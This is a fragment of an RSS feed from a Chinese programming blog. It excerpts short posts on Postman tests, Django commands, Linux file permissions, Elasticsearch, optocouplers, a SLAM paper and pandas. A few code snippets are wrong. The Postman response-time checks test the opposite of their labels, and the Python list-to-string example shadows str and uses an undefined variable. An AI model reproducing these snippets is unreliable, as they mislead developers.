      <guid>https://bchobby.github.io/posts/c550f084cbc3bbd7a3b060ec29814ed2/</guid>
      <description>看到一篇很不错的教程，mark一下&#xA;Fiddler抓包教程</description>
    </item>
    <item>
      <title>postman 验证返回结果</title>
      <link>https://bchobby.github.io/posts/1d72af36718a289feec70279bb62f9cd/</link>
      <pubDate>Thu, 16 Apr 2020 18:37:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d72af36718a289feec70279bb62f9cd/</guid>
      <description>Postman的test本质上是JavaScript代码，通过我们编写测试代码，每一个tests返回True,或是False。&#xA;每一个tests实际上就是一个测试用例。官方文档给出了很多验证方式，我们通过实例来进行学习&#xA;接口返回结果为json&#xA;{&#xA;&#34;status&#34;: 301,&#xA;&#34;message&#34;: &#34;购买商品库存不足&#34;,&#xA;&#34;lists&#34;: [11]&#xA;}&#xA;1. 检查response的body中是否包含字符串&#xA;tests[&#34;测试点&#34;] = responseBody.has(&#34;需要查找的字符串&#34;)；&#xA;例：&#xA;tests[&#34;status code&#34;] = responseBody.has(&#34;301&#34;)；&#xA;tests[&#34;status是否存在&#34;] = responseBody.has(&#34;status&#34;)；&#xA;tests[&#34;lists是否存在&#34;] = responseBody.has(&#34;lists&#34;)；&#xA;tests[&#34;lists值为11&#34;] = responseBody.has(&#34;11&#34;)；&#xA;注：&#xA;当json中value为integer时，需要查找的值可以不带双引号tests[&#34;xxx&#34;]xxx代表的是你测试点的名字，可以是中文tests[&#34;xxx&#34;]xxx在一个脚本中如果出现多次，那么只执行第一个，所以尽量不要重复当value等于中文字符串时，这个方法貌似就不怎么好用了，但是我们有别的方法去验证，往下看，如果有读者知道怎么解决这个问题，也可以联系我，教教我 2. 检查Response Body是否等于字符串&#xA;tests[&#34;测试点&#34;] = responseBody === &#34;Response Body返回的内容&#34;;&#xA;这个可以用在接口返回内容为纯字符串时，直接检查整个返回结果的正确性，&#xA;例子：&#xA;接口返回：哈哈&#xA;tests[&#34;返回为哈哈&#34;] = responseBody === &#34;哈哈&#34;;&#xA;tests[&#34;返回为哈哈&#34;] = responseBody === &#34;哈&#34;;&#xA;第二个会返回False，必须完全匹配&#xA;3. 检查相应时间&#xA;tests[&#34;Response time 小于200毫秒&#34;] = responseTime &amp;gt; 200;&#xA;tests[&#34;Response time 大于200毫秒&#34;] = responseTime &amp;lt; 200;</description>
    </item>
    <item>
      <title>cmd vs powershell</title>
      <link>https://bchobby.github.io/posts/c8deb840c13b055ef053dcb61d2a9106/</link>
      <pubDate>Thu, 16 Apr 2020 17:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8deb840c13b055ef053dcb61d2a9106/</guid>
      <description> cmd powershell </description>
    </item>
    <item>
      <title>dlg.DoModal();不响应</title>
      <link>https://bchobby.github.io/posts/3249ad87340cea8ed464263d092192d4/</link>
      <pubDate>Thu, 16 Apr 2020 16:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3249ad87340cea8ed464263d092192d4/</guid>
      <description> 调试程序时，总是运行到dlg.DoModal();既不弹出响应的对话框，程序也不向下走，停在此处了。&#xA;问题： 对话框里面有个位图，加载时出错了。&#xA;解决方法：&#xA;打开XXXX.rc文件，注释掉CONTROL一行，对话框打开。XXXX.rc文件，增加&#34;Static&#34;, SS_BITMAP, 即可。参考文章：https://blog.csdn.net/qq_36633275/article/details/103960841 </description>
    </item>
    <item>
      <title>基于threejs三维办公室如何显示线框化</title>
      <link>https://bchobby.github.io/posts/cb9b146e433b6b2a3da2d15f370385df/</link>
      <pubDate>Thu, 16 Apr 2020 16:37:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb9b146e433b6b2a3da2d15f370385df/</guid>
      <description>办公区示例 - 线框 示例描述与操作指南示例效果展示实现步骤相关示例相关接口 示例描述与操作指南 以办公区类模型为例，对所选构件类进行线框化处理，本示例默认选中 IfcWallStandardCase 类型构件组。其它常用的构件类型还有 IfcDoor、IfcWindow、IfcRailing、IfcSlab、IfcFurnishingElement等。&#xA;通过接口wireFrameComponentsByKey来实现。&#xA;示例效果展示 实现步骤 通过接口wireFrameComponentsByKey来实现。&#xA;// 点击运行触发的函数 const run = () =&amp;gt;{ viewer3D.wireFrameComponentsByKey(defaultCk); //构件线框 } 下载完整代码&#xA;相关示例 构件线框&#xA;分类线框展示&#xA;住房类示例 - 线框&#xA;厂房类示例 - 线框&#xA;相关接口 getHighlightComponentsKey&#xA;resetScene&#xA;wireFrameComponentsByKey</description>
    </item>
    <item>
      <title>[测试gpu可用报错]tensorflow2.1.0,      Could not load dynamic library &#39;libcudart.so.10.1&#39;</title>
      <link>https://bchobby.github.io/posts/55a9e630b6ff055fbe14fc3bf2f2746d/</link>
      <pubDate>Thu, 16 Apr 2020 14:37:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55a9e630b6ff055fbe14fc3bf2f2746d/</guid>
      <description>先上图在上文字：&#xA;Could not load dynamic library &#39;libcudart.so.10.1&#39;; dlerror: libcudart.so.10.1: cannot open shared object file: No such file or directory; LD_LIBRARY_PATH: /usr/local/cuda-10.0/lib64:/usr/local/cuda/lib64:/usr/local/cuda-10.0/lib64:/usr/local/cuda-10.0/extras/CUPTI/lib64:/data/TensorRT-6.0.1.5/lib&#xA;2020-04-16 14:22:37.655311: W tensorflow/stream_executor/platform/default/dso_loader.cc:55] Could not load dynamic library &#39;libcublas.so.10&#39;; dlerror: libcublas.so.10: cannot open shared object file: No such file or directory; LD_LIBRARY_PATH: /usr/local/cuda-10.0/lib64:/usr/local/cuda/lib64:/usr/local/cuda-10.0/lib64:/usr/local/cuda-10.0/extras/CUPTI/lib64:/data/TensorRT-6.0.1.5/lib&#xA;2020-04-16 14:22:37.655363: W tensorflow/stream_executor/platform/default/dso_loader.cc:55] Could not load dynamic library &#39;libcufft.so.10&#39;; dlerror: libcufft.so.10: cannot open shared object file: No such file or directory; LD_LIBRARY_PATH: /usr/local/cuda-10.0/lib64:/usr/local/cuda/lib64:/usr/local/cuda-10.0/lib64:/usr/local/cuda-10.0/extras/CUPTI/lib64:/data/TensorRT-6.0.1.5/lib</description>
    </item>
    <item>
      <title>Django常用命令大全</title>
      <link>https://bchobby.github.io/posts/605ea9620c71949f926e875a18652f98/</link>
      <pubDate>Thu, 16 Apr 2020 11:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/605ea9620c71949f926e875a18652f98/</guid>
      <description>目录 1、新建一个项目2、新建app (一个项目可以有多个app，通用的app也可以在多个项目中使用)3、创建数据库表 或 更改数据库表或字段(可在SQL等数据库中创建与models.py代码对应的表)4、运行Django自带开发服务器5、清空数据库6、创建超级管理员7、导入导出数据8、django 项目环境终端9、数据库命令行10、更多命令 打开 Linux 或 MacOS 的 Terminal （终端）直接在 终端中输入&#xA;windows 快捷键 win + R，输入 cmd，直接在 cmd 上输入 1、新建一个项目 django-admin.py startproject 项目名 以下命令要先进入项目目录下才能执行：cd 项目名&#xA;2、新建app (一个项目可以有多个app，通用的app也可以在多个项目中使用) python manage.py startapp app名 或者 django-admin.py startapp app名 3、创建数据库表 或 更改数据库表或字段(可在SQL等数据库中创建与models.py代码对应的表) 创建更改的文件 pyhton manage.py makemigrations 将生成的py文件应用到数据库 python manage.py migrate 4、运行Django自带开发服务器 python manage.py runserver 在浏览器中输入127.0.0.1:8000却无法访问Django服务？ Django以为是公网访问！！！ 公网访问： python manage.py runserver 0.0.0.0:8000 本地访问： python manage.py runserver python manage.py runserver 8000 python manage.</description>
    </item>
    <item>
      <title>c语言  输入三角形的三条边或者三个顶点的坐标求三角形面积</title>
      <link>https://bchobby.github.io/posts/ad7d24cba184ea78f712e0a2bda171c1/</link>
      <pubDate>Thu, 16 Apr 2020 09:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad7d24cba184ea78f712e0a2bda171c1/</guid>
      <description> 如果你知道三个顶点，或者三条边如何写一个程序去求这个三角型的面积&#xA;当然你可以使用高中学过的余弦定理，但这个运算比较麻烦，所以今天我&#xA;们用一个相对简单的方法求解&#xA;#include &amp;lt;iostream&amp;gt; #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;queue&amp;gt; #include&amp;lt;algorithm&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;math.h&amp;gt; #include&amp;lt;map&amp;gt; #include&amp;lt;set&amp;gt; #include &amp;lt;sstream&amp;gt; using namespace std; typedef long long ll; const ll maxn=1e2+10; const ll mod= 1000000007; int main() { double x1,y1,x2,y2,x3,y3; cin &amp;gt;&amp;gt;x1 &amp;gt;&amp;gt;y1 &amp;gt;&amp;gt;x2&amp;gt;&amp;gt;y2&amp;gt;&amp;gt;x3&amp;gt;&amp;gt;y3; double a,b,c; a=sqrt((y2-y1)*(y2-y1)+(x2-x1)*(x2-x1)); b=sqrt((y3-y1)*(y3-y1)+(x3-x1)*(x3-x1)); c=sqrt((y2-y3)*(y2-y3)+(x2-x3)*(x2-x3)); double s; s=(a+b+c)/2;//计算半周长 double area; area= sqrt(s*(s-a)*(s-b)*(s-c));//套用海伦公式，计算面积 cout &amp;lt;&amp;lt; area &amp;lt;&amp;lt;endl; } </description>
    </item>
    <item>
      <title>文件权限管理——文件基本权限</title>
      <link>https://bchobby.github.io/posts/d3d1f532c2d219ab38859a41f97653ee/</link>
      <pubDate>Thu, 16 Apr 2020 01:44:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d1f532c2d219ab38859a41f97653ee/</guid>
      <description>文章目录 一，权限作用：二，查看权限1，文件类型（p、d、l、s、c、b和-）2，权限说明3，文件拥有者4，常见文件权限（root例外）：5，更改文件的属主和属组： 三，修改权限1.使用字符设定2，使用八进制（0-7）数字表示权限法： 四，权限对文件和目录的影响 ：五，补码注意：计算方法：修改umask： 一，权限作用： 通过文件设定权限达到以下三种访问限制权限： （1）只允许用户自己访问； （2）允许一个预先指定的用户组中的用户访问； （3）允许系统中任何用户访问 二，查看权限 例：-rw-r–r--.1 root root 2668 Apr 4 20:37 /etc/passwd&#xA;1，文件类型（p、d、l、s、c、b和-） p&#x9;表示命名管道文件 d 表示目录文件 l&#x9;表示符号链接文件 -&#x9;表示普通文件 s&#x9;表示socket套接口文件，比如我们启用mysql，会产生一个mysql.sock文件 c&#x9;表示符号设备文件&#x9;虚拟终端文件、虚拟控制台（tty） b&#x9;表示块设备文件&#x9;磁盘类文件（sda）、光盘类文件（cdrom） 2，权限说明 对于文件来说：&#xA;r 读&#xA;w 写&#xA;x 执行&#xA;对于目录来说：&#xA;r 读（看到目录里面有什么）&#xA;w 在目录内建文件、删除、移动 touch mkdir rm mv cp&#xA;x 进入 cd cat&#xA;3，文件拥有者 UGO 所有者–用户组–其他用户&#xA;所有者：就是创建文件的用户，这个用户拥有对它所创建的文件的一切权限，所有者可以允许其他所在的用户组可以访问所有者的文件 用户组：具有相同用户特征的逻辑集合，有时我们需要多个用户具有相同的权限，比如查看、修改某一个文件的权限，一种方法是分别对多个用户进行文件访问授权；另一种方法是建立一个组，让这个组具有查看、修改次文件的权限 其他用户：系统内其他所有者用户就是other 用户类 4，常见文件权限（root例外）： -rwx --- ---:文件所有者对文件具有读取、写入和执行的权限。 -rwx r-- r--：文件所有者具有读、写与执行的权限，用户组里用户及其他用户则具有读取的权限 -rw- rw- r-x：文件所有者与同组用户对文件具有读写的权限，而其他用户仅具有读取和执行的权限。 drwx --x --x：目录所有者具有读写与进入目录的权限，其他用户仅能进入该目录，却无法读取任何数据。 drw x-- ---：除了目录所有者具有完整的权限之外，其他用户对该目录完全没有任何权限。 PS：每个用户都拥有自己的专属目录，通常放置/home下</description>
    </item>
    <item>
      <title>ES文档的基本操作 - 删除与修改</title>
      <link>https://bchobby.github.io/posts/afc109ad04b98e0eac903186feb5138e/</link>
      <pubDate>Wed, 15 Apr 2020 23:23:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afc109ad04b98e0eac903186feb5138e/</guid>
      <description> 这里写目录标题 删除文档修改文档 删除文档 DELETE /my_doc/_doc/1 注：文档删除不是立即删除，文档还是保存在磁盘上，索引增长越来越多，才会把那些曾经标识过删除的，进行清理，从磁盘上移出去。 修改文档 局部：POST /my_doc/_doc/1/_update { &#34;doc&#34;: { &#34;name&#34;: &#34;慕课&#34; } } 全量替换PUT /my_doc/_doc/1 { &#34;id&#34;: 1001, &#34;name&#34;: &#34;imooc-1&#34;, &#34;desc&#34;: &#34;imooc is very good, 慕课网非常牛！&#34;, &#34;create_date&#34;: &#34;2019-12-24&#34; } </description>
    </item>
    <item>
      <title>ES文档的基本操作 - 添加</title>
      <link>https://bchobby.github.io/posts/5989f596eeef99031ba853264f31333d/</link>
      <pubDate>Wed, 15 Apr 2020 23:19:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5989f596eeef99031ba853264f31333d/</guid>
      <description>目录 添加文档数据 添加文档数据 POST /my_doc/_doc/1 -&amp;gt; {索引名}/_doc/{索引ID} （是指索引在es中的id，而不是这条记录的id，比如记录的id从数据库来是1001，并不是这个。如果不写，则自动生成一个字符串。建议和数据id保持一致&amp;gt; ） { &#34;id&#34;: 1001, &#34;name&#34;: &#34;imooc-1&#34;, &#34;desc&#34;: &#34;imooc is very 非常牛！&#34;, &#34;create_date&#34;: &#34;2019-12-24&#34; } { &#34;id&#34;: 1002, &#34;name&#34;: &#34;imooc-2&#34;, &#34;desc&#34;: &#34;imooc is fashion,常时尚！&#34;, &#34;create_date&#34;: &#34;2019-12-25&#34; } { &#34;id&#34;: 1003, &#34;name&#34;: &#34;imooc-3&#34;, &#34;desc&#34;: &#34;imooc is niubility,好很强大！&#34;, &#34;create_date&#34;: &#34;2019-12-26&#34; } { &#34;id&#34;: 1004, &#34;name&#34;: &#34;imooc-4&#34;, &#34;desc&#34;: &#34;imooc is good~！&#34;, &#34;create_date&#34;: &#34;2019-12-27&#34; } { &#34;id&#34;: 1005, &#34;name&#34;: &#34;imooc-5&#34;, &#34;desc&#34;: &#34; is 强大！&#34;, &#34;create_date&#34;: &#34;2019-12-28&#34; } { &#34;</description>
    </item>
    <item>
      <title>光耦主要参数和高速光耦如何选型</title>
      <link>https://bchobby.github.io/posts/054b3067e74f60ebca122262f9a49a6f/</link>
      <pubDate>Wed, 15 Apr 2020 18:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/054b3067e74f60ebca122262f9a49a6f/</guid>
      <description>光耦作为一个隔离器件已经得到广泛应用，无处不在。一般大家在初次接触到光耦时往往感到无从下手，不知设计对与错，随着遇到越来越多的问题，才会慢慢有所体会。&#xA;理解光耦 光耦是隔离传输器件，原边给定信号，副边回路就会输出经过隔离的信号。对于光耦的隔离容易理解，此处不做讨论。 以一个简单的图（图.1）说明光耦的工作：原边输入信号Vin，施加到原边的发光二极管和Ri上产生光耦的输入电流If，If驱动发光二极管，使得副边的光敏三极管导通，回路VCC、RL产生Ic，Ic经过RL产生Vout，达到传递信号的目的。原边副边直接的驱动关联是CTR（电流传输比），要满足Ic≤If*CTR。&#xA;光耦主要的参数是什么？ 1、反向电流IR：在被测管两端加规定反向工作电压VR时，二极管中流过的电流。&#xA;2、反向击穿电压VBR：被测管通过的反向电流IR为规定值时，在两极间所产生的电压降。&#xA;3、正向压降VF：二极管通过的正向电流为规定值时，正负极之间所产生的电压降。&#xA;4、正向电流IF：在被测管两端加一定的正向电压时二极管中流过的电流。结电容CJ：在规定偏压下，被测管两端的电容值。&#xA;5、反向击穿电压V（BR）CEO：发光二极管开路，集电极电流IC为规定值，集电极与发射集间的电压降。&#xA;6、输出饱和压降VCE（sat）：发光二极管工作电流IF和集电极电流IC为规定值时，并保持IC/IF≤CTRmin时（CTRmin在被测管技术条件中规定）集电极与发射极之间的电压降。&#xA;7、反向截止电流ICEO：发光二极管开路，集电极至发射极间的电压为规定值时，流过集电极的电流为反向截止电流。&#xA;8、电流传输比CTR：输出管的工作电压为规定值时，输出电流和发光二极管正向电流之比为电流传输比CTR。&#xA;9、脉冲上升时间tr，下降时间tf：光耦合器在规定工作条件下，发光二极管输入规定电流IFP的脉冲波，输出端管则输出相应的脉冲波，从输出脉冲前沿幅度的10%到90%，所需时间为脉冲上升时间tr。从输出脉冲后沿幅度的90%到10%，所需时间为脉冲下降时间tf。&#xA;10、传输延迟时间tPHL，tPLH：从输入脉冲前沿幅度的50%到输出脉冲电平下降到1.5V时所需时间为传输延迟时间tPHL。从输入脉冲后沿幅度的50%到输出脉冲电平上升到1.5V时所需时间为传输延迟时间tPLH。&#xA;11、入出间隔离电容CIO：光耦合器件输入端和输出端之间的电容值。&#xA;12、入出间隔离电阻RIO：半导体光耦合器输入端和输出端之间的绝缘电阻值。&#xA;13、入出间隔离电压VIO：光耦合器输入端和输出端之间绝缘耐压值。&#xA;光耦一般会有两个用途：线性光耦和逻辑光耦。&#xA;工作在开关状态的光耦副边三极管饱和导通，管压降《0.4V，Vout约等于Vcc（Vcc-0.4V左右），Vout 大小只受Vcc大小影响。此时Ic《If*CTR，此工作状态用于传递逻辑开关信号。&#xA;工作在线性状态的光耦，Ic=If*CTR，副边三极管压降的大小等于Vcc-Ic*RL，Vout= Ic*RL=（Vin-1.6V）/Ri * CTR*RL，Vout 大小直接与Vin 成比例，一般用于反馈环路里面 （1.6V 是粗略估计，实际要按器件资料，后续1.6V同） 。&#xA;对于光耦开关和线性状态可以类比为普通三极管的饱和放大两个状态。&#xA;高速光耦介绍 电耦合器（简称光耦）是开关电源电路中常用的器件。光电耦合器分为两种：一种为非线性光耦，另一种为线性光耦。&#xA;常用的4N系列光耦属于非线性光耦，常用的线性光耦是PC817A—C系列。&#xA;非线性光耦的电流传输特性曲线是非线性的，这类光耦适合于弄开关信号的传输，不适合于传输模拟量。线性光耦的电流传输手特性曲线接进直线，并且小信号时性能较好，能以线性特性进行隔离控制。&#xA;开关电源中常用的光耦是线性光耦。如果使用非线性光耦，有可能使振荡波形变坏，严重时出现寄生振荡，使数千赫的振荡频率被数十到数百赫的低频振荡依次为号调制。由此产生的后果是对彩电，彩显，VCD，DCD等等，将在图像画面上产生干扰。同时电源带负载能力下降。&#xA;在彩电，显示器等开关电源维修中如果光耦损坏，一定要用线性光耦代换。常用的4脚线性光耦有PC817A----C。PC111TLP521等常用的六脚线性光耦有：TLP632TLP532PC614PC714PS2031等。常用的4N254N264N354N36是不适合用于开关电源中的，因为这4种光耦均属于非线性光耦。&#xA;高速光耦芯片型号与选型 100Kbit/S：&#xA;6N138、6N139、PS8703&#xA;1Mbit/S：&#xA;6N135、6N136、CNW135、CNW136、PS8601、PS8602、PS8701、PS9613、PS9713、CNW4502、HCPL-2503、HCPL-4502、HCPL-2530（双路）、HCPL-2531（双路）&#xA;10Mbit/S：&#xA;6N137、PS9614、PS9714、PS9611、PS9715、HCPL-2601、HCPL-2611、HCPL-2630（双路）、HCPL－2631（双路）&#xA;高速光耦与普通光耦区别 在结构当面，高速光耦与普通光耦是不一样，高速光耦的结构是光敏二极管+放大驱动电路，普通光耦的结构是光敏三极管（+放大驱动电路）。光敏二极管的响应速度（上升下降时间）是纳秒级，光敏三极管的响应速度（上升下降时间）是微秒级。不是说普通光耦工作在线性区它就能高速，它固有的响应时间就限死了它想快也快不起来。另外如果普通光耦工作在线性区，那它也会受限截至频率Fc（Cut-offFrequency）这个参数，普通光耦这个Fc基本在50KHz左右（测试条件VCC=5v、IC=5ma、RL=100R，RL加大Fc更小，RL=1K时，Fc大约在10KHz左右），像TLP521，Fc约50KHz，PC817，Fc约80KHz，CNY117，Fc约250KHz。&#xA;当然有些普通光耦在调大驱动电流（到200MA）/减小负载电阻（到500OHM）/优化驱动脉冲等情况下的确实能达到500KHz这样的速度。&#xA;高速光耦的应用 1、高速光耦应用在空调&#xA;2、高速光耦应用在驱动电源&#xA;高速光电耦合器6N137由磷砷化镓发光二极管和光敏集成检测电路组成。通过光敏二极管接收信号并经内部高增益线性放大器把信号放大后，由集电极开路门输出。6N137引脚图和内部结构图如图1和图2所示。该光电器件高、低电平传输延迟时间短，典型值仅为45ns，已接近TTL电路传输延迟时间的水平。具有10Mbps的高速性能，因而在传输速度上完全能够满足隔离总线的要求。内部噪声防护装置提供了典型10kV/μs的共模抑制功能。除此之外，6N137还具有一个控制端，通过对该端的控制，可使光耦输出端呈现高阻状态。&#xA;1:NC.；2:Anode（阳极）；3:Cathode（阴极）；4:N.C.；5:GND；6:Output（Opencollector开路集电极）；7:Enable（使能端）；8:VCC&#xA;简单的原理如图1所示，若以脚2为输入，脚3接地，则真值表如附表2所列，这相当于非门的传输，若希望在传输过程中不改变逻辑状态，则从脚3输入，脚2接高电平。&#xA;6N137原理及典型应用 6N137的内部结构原理如图3所示，信号从脚2和脚3输入，发光二极管发光，经片内光通道传到光敏二极管，反向偏置的光敏管光照后导通，经电流-电压转换后送到与门的一个输入端，与门的另一个输入为使能端，当使能端为高时与门输出高电平，经输出三极管反向后光电隔离器输出低电平。当输入信号电流小于触发阈值或使能端为低时，输出高电平，但这个逻辑高是集电极开路的，可针对接收电路加上拉电阻或电压调整电路。&#xA;隔离器6N137典型应用如图3所示，假设输入端属于模块I，输出端属于模块II。输入端有A、B两种接法，分别得到反相或同相逻辑传输，其中RF为限流电阻。发光二极管正向电流0-250μA，光敏管不导通；发光二极管正向压降1.2-1.7V（典型1.4V），正向电流6.3-15mA，光敏管导通。若以B方法连接，TTL电平输入，Vcc为5V时，RF可选500Ω左右。如果不加限流电阻或阻值很小，6N137仍能工作，但发光二极管导通电流很大对Vcc1有较大冲击，尤其是数字波形较陡时，上升、下降沿的频谱很宽，会造成相当大的尖峰脉冲噪声，而通常印刷电路板的分布电感会使地线吸收不了这种噪声，其峰-峰值可达100mV以上，足以使模拟电路产生自激。所以在可能的情况下，RF应尽量取大。&#xA;输出端由模块II供电，Vcc2=4.5～5.5V。在Vcc2（脚8）和地（脚5）之间必须接一个0.1μF高频特性良好的电容，如瓷介质或钽电容，而且应尽量放在脚5和脚8附近（不要超过1cm）。这个电容可以吸收电源线上的纹波，又可以减小光电隔离器接受端开关工作时对电源的冲击。脚7是使能端，当它在0-0.8V时强制输出为高（开路）；当它在2.0V-Vcc2时允许接收端工作，见真值表2。&#xA;脚6是集电极开路输出端，通常加上拉电阻RL。虽然输出低电平时可吸收电路达13mA，但仍应当根据后级输入电路的需要选择阻值。因为电阻太小会使6N137耗电增大，加大对电源的冲击，使旁路电容无法吸收，而干扰整个模块的电源，甚至把尖峰噪声带到地线上。一般可选4.7kΩ，若后级是TTL输入电路，且只有1到2个负载，则用47kΩ或15kΩ也行。CL是输出负载的等效电容，它和RL影响器件的响应时间，当RL=350Ω，CL=15pF时，响应延迟为25-75ns。</description>
    </item>
    <item>
      <title>python数组与字符串相互转换</title>
      <link>https://bchobby.github.io/posts/59f7cc92e14961569a7b249490dbd1d8/</link>
      <pubDate>Tue, 14 Apr 2020 18:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59f7cc92e14961569a7b249490dbd1d8/</guid>
      <description> 字符串转数组&#xA;str = &#39;1,2,3&#39; arr = str.split(&#39;,&#39;) 数组转字符串&#xA;arr = [&#39;a&#39;,&#39;b&#39;] str = &#39;,&#39;.join(arr) 或者&#xA;arr = [1,2,3] str = &#39;,&#39;.join(str(i) for i in b) </description>
    </item>
    <item>
      <title>基于直线的最小非线性SLAM相机姿态估计方法</title>
      <link>https://bchobby.github.io/posts/f778e638ac6159f6a11b08af9fb9897d/</link>
      <pubDate>Tue, 14 Apr 2020 16:55:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f778e638ac6159f6a11b08af9fb9897d/</guid>
      <description>Minimal Non-linear Camera Pose Estimation Method Using Lines for SLAM Applications 1. 介绍2. 非线性优化方法3 实验3.1 噪声模拟试验3.2 实景实验 1. 介绍 针对线映射到相机图像，提出Perspective-n-Lines（PnL） 问题，PnL解决的是六自由度位姿估计，将三维空间中的直线正确地投影到二维图像平面上；PnL问题的三种解，即 直接线性变换（DLT）、多项式解和迭代解。&#xA;直接线性变换是用奇异值分解（SVD）直接求解重投影方程，这种方法将旋转矩阵中的9个变量和平移向量中的3个变量视为自变量，忽略了变量的非线性正交约束。因此，PnL问题的多项式解将投影函数与正态性约束结合起来形成高阶方程，DLT方法和多项式方法都用至少12个变量的多解冗余表示参数化了刚体运动。&#xA;另一种是使用非线性方法迭代以最小化重投影误差，该方法将一条三维直线视为两个端点，这就增加了自由度，因为两个三维点有6个自由度，而一条三维直线有4个自由度。&#xA;论文主要创新：&#xA;**1）**分析了李群切线空间中直线在6自由度运动矢量上的重投影误差偏导数（雅可比矩阵），为迭代方法更新估计奠定了基础。&#xA;**2）**提出了一种新的基于线特征的非线性姿态估计方法，该方法仅适用于3对线的对应关系，框架非常适合于摄像机姿态的连续更新。&#xA;2. 非线性优化方法 2.1 迭代法&#xA;在给定图像平面上的一组二维直线及其世界坐标系下对应的三维直线lw，找到了一个使重投影误差最小的姿态，通过迭代（高斯牛顿法）最小化距离来估计姿态，该距离是计算出的直线预测与其在真实图像中的测量li之间的残余误差：分析得到高斯牛顿更新函数，其中ε表示为六自由度向量的迭代更新，J表示为运动矢量上重投影的二维直线的偏导数矩阵：&#xA;2.2 重投影&#xA;重投影的三维直线可分为两步：&#xA;1）将世界帧中以Plücker坐标表示的3D线转换为相机帧&#xA;2）根据针孔相机的成像模型，将变换后的直线映射到图像上的二维直线上&#xA;由于投影图像线只与直线的u向量有关，采用偏导数链式法则得到最终的雅可比矩阵：&#xA;2.3 ε雅可比&#xA;类似于使用点对应的姿态估计方法中的表达式，我们将雅可比矩阵定义为：&#xA;求解ε雅可比矩阵，需使用李群中伴随矩阵：为了简化计算，z来表示摄像机坐标lc中3D线的伴随函数，即投影后线的坐标：由李代数理论得出：融合上面的方程可以得到整个系统的雅可比矩阵，重投影线在6自由度运动矢量上的偏导数：根据所给出的雅克比矩阵，其每一直线对应给出2个约束方程，则需要3条直线就可计算刚性运动。&#xA;3 实验 3.1 噪声模拟试验 采用蒙特卡罗方法在三维空间中生成随机线，生成一个随机的刚性运动，将这些线转换为摄像机坐标。最后，利用实验室工业摄像机的摄像机内参矩阵作为虚拟摄像机，将三维直线投影到图像平面上。将相机分辨率设置为VGA（640*480），相机和随机线中心之间的距离设置为2米。在每个图像噪声水平下，分别在2.1像素内的0.1像素区间内重复了100次随机测试。&#xA;测试结果：&#xA;从图中可以看出误差随着图像噪声的增加而增大。在2个像素的噪声sigma下，平均平移误差约为1cm。最大平移误差小于4cm。论文方法在亚像素图像噪声下的位置误差小于2cm，旋转误差始终小于0.4°，显示出较高的方位估计精度。&#xA;对比其他方法&#xA;在测试随机线集和刚性变换下，最新发展的LPnL、Bar-LS、DLT-plücker、DLT-combined方法和论文方法在方向和位置估计方面都有更稳健和准确的性能。Ansar和Mirzaei的方法对噪声太敏感，导致输出不稳定。Mirzaei方法是唯一一种使用3对线的方法，但是在存在噪声的情况下，它没有收敛的结果。&#xA;论文方法在旋转和平移估计方面都具有与现有方法相当的性能，而只有该论文算法能够处理3个噪声匹配线对。&#xA;3.2 实景实验 在模拟实验的基础上，利用该算法对VGG道路数据集进行姿态估计。结果如图所示，估计的姿势具有4cm的位置误差和0.04°的旋转误差，尽管有些端点不严格匹配，但估计的线恢复得非常好。并且由于未匹配的端点仍然位于同一条直线上，因此它们仍然能够很好地重建图像平面上的二维直线。&#xA;里程计&#xA;采用纯运动BA方法对姿态进行连续估计。红线是分解后的轨迹，蓝线是也测轨迹。在摄像机运动9.19m后，只得到了0.066m的位置误差，考虑到旋转误差，平均旋转误差为0.0045°左右，方向确定准确。</description>
    </item>
    <item>
      <title>python pandas 如何读写excel 获取表的行数 列数</title>
      <link>https://bchobby.github.io/posts/fa837020ad7ecf2aad0c28a6b3efc0a1/</link>
      <pubDate>Tue, 14 Apr 2020 15:21:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa837020ad7ecf2aad0c28a6b3efc0a1/</guid>
      <description> 首先需要用pip 安装pandas、 xlrd、openpyxl，然后直接贴代码&#xA;import pandas as pd data_path = &#39;E:/pythonProject/python_pandas/test_pandas.xlsx&#39; //此处为excel表的路径 data = pd.read_excel(data_path) data.loc[0,&#39;ground_time&#39;] = &#39;888&#39; //0代表第一行，‘ground_time’是列名 data.to_excel(data_path, index=None) print(data) 获取列数 data.shape[1] 获取行数 data.shape[0] or len(data) </description>
    </item>
    <item>
      <title>VUE中this.$nextTick()怎么使用？</title>
      <link>https://bchobby.github.io/posts/38db0fb27b3ca5ac56b26c33b3f1ca22/</link>
      <pubDate>Tue, 14 Apr 2020 13:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38db0fb27b3ca5ac56b26c33b3f1ca22/</guid>
